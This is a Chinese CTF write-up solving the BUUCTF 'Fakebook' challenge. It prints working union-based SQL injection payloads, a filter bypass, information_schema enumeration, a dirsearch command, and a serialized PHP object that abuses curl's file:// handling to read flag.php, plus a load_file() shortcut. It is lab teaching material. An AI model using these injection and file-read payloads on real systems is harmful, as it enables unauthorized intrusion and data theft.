buu-[网鼎杯 2018]Fakebook


考点1.sql注入

启动靶机得到如下页面:

 

 

 

 

发现有login和join两个选项

Join就相当于注册,注册完它会自动登录

 

 

 

然后来到如下页面

 

 

 

我们注意到username下的字段是可以点击的,点击后跳转到如下页面

 

 

 

然后我们注意到url后面有个no=1的参数,猜测存在sql注入

加个单引号得到报错

 

 

 

果然存在注入,其次发现它是个数字型的注入,使用2-1,得到1的回显

 

 

 

然后,我们可以开始注入了

首先,使用order by测列数

在测到五列时报错

 

 

 

说明只有四列

然后就可以使用union select 1,2,3,4看注入点

 

 

 

但我们发现被过滤了

然后我们使用union all select 1,2,3,4成功绕过

 

 

 

这里要注意需要把no=1改掉,不然得不到后面的回显,这里把它改成-1

 

 

 

发现在2处存在注入点

 

 

 

然后注意到这里有个unserialize,猜测存在序列化,暂时不知道在哪需要序列化,先放着

在知道2是注入点后,我们开始测数据库名

no=-1 union all select 1,database(),3,4

 

 

 

得到数据库名fakebook

再测表名

no=-1 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

 

 

 

得到表名users

再测列名

no=-1 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'

 

 

 

这里需要注意因为数据库里不只这一个库里包含users表,后面大写的是其他数据库里的users表内容

猜测信息在data里,测里面的内容

no=-1 union all select 1,group_concat(data),3,4 from fakebook.users

 

 

 

最后得到序列化后的结果

是我们注册的账号,且被序列化输出

那就要考序列化了。一般不会让我们自己猜,肯定会给源码让我们构造的。我们进行扫描

考点2.目录扫描

我用的是dirsearch,在buu里进行扫描需要设置线程。

命令:

python dirsearch.py -u http://df620cba-d0c8-4572-9070-2f55fb89c8fe.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
#-u 扫描的url
#-e 扫描的目录后缀
#-t 设置扫描线程
#-x 排除指定的网站状态码(用逗号隔开)

 

 

 

查看robots.txt

访问得到

 

 

下载后得到源码

 1 <?php
 2 
 3  
 4 
 5 class UserInfo
 6 
 7 {
 8 
 9     public $name = "";
10 
11     public $age = 0;
12 
13     public $blog = "";
14 
15  
16 
17     public function __construct($name, $age, $blog)
18 
19     {
20 
21         $this->name = $name;
22 
23         $this->age = (int)$age;
24 
25         $this->blog = $blog;
26 
27     }
28 
29  
30 
31     function get($url)
32 
33     {
34 
35         $ch = curl_init();
36 
37  
38 
39         curl_setopt($ch, CURLOPT_URL, $url);
40 
41         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
42 
43         $output = curl_exec($ch);
44 
45         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
46 
47         if($httpCode == 404) {
48 
49             return 404;
50 
51         }
52 
53         curl_close($ch);
54 
55  
56 
57         return $output;
58 
59     }
60 
61  
62 
63     public function getBlogContents ()
64 
65     {
66 
67         return $this->get($this->blog);
68 
69     }
70 
71  
72 
73     public function isValidBlog ()
74 
75     {
76 
77         $blog = $this->blog;
78 
79         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
80 
81     }
82 
83  
84 
85 }

考点3.代码审计

进行代码审计,重点在这一块

 

 

【*】curl_init : 初始化一个curl会话,供curl_setopt(), curl_exec()和curl_close() 函数使用。

 

【*】curl_setopt : 请求一个url。

其中CURLOPT_URL表示需要获取的URL地址,后面就是跟上了它的值。

 

【*】CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

 

【*】curl_exec,成功时返回 TRUE, 或者在失败时返回 FALSE。 然而,如果 CURLOPT_RETURNTRANSFER选项被设置,函数执行成功时会返回执行的结果,失败时返回 FALSE 。

 

【*】CURLINFO_HTTP_CODE :最后一个收到的HTTP代码。

curl_getinfo:以字符串形式返回它的值,因为设置了CURLINFO_HTTP_CODE,所以是返回的状态码。

如果状态码不是404,就返回exec的结果。

 

再来看看get函数在哪里调用

 

 

这里就清楚了,传的参数是blog。

进行序列化,curl可用file协议,所以这里使用file协议读取文件。file:///var/www/html/flag.php

因为源码最后限制了blog的格式,所以我们只能使用序列化把blog注入进去

考点4.序列化

然后我们利用源码构造序列化

 1 <?php
 2 class UserInfo
 3 {
 4     public $name = "2";
 5     public $age = 2;
 6     public $blog = "file:///var/www/html/flag.php";
 7 }
 8 $a=new UserInfo();
 9 echo serialize($a);
10     
11 ?>

 

 

 

 

 

因为列名里面没有blog,所以我们要设置的点就是data那里了,所以在第四列进行注入,需要把序列化的句子包在单引号里

构造payload:

no=-1 union all select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

 

 

关于此处为什么可以注入,因为union select会创建一个虚拟存储

例:

 

 

查看源码

 

 

 

进行base64解码

 

非预期解

还有个非预期解

使用load_file()函数,直接得到flag

payload:no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4

 

 

 

直接在源码里得到flag

 

参考:[网鼎杯 2018]Fakebook_H9_dawn的博客-CSDN博客

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM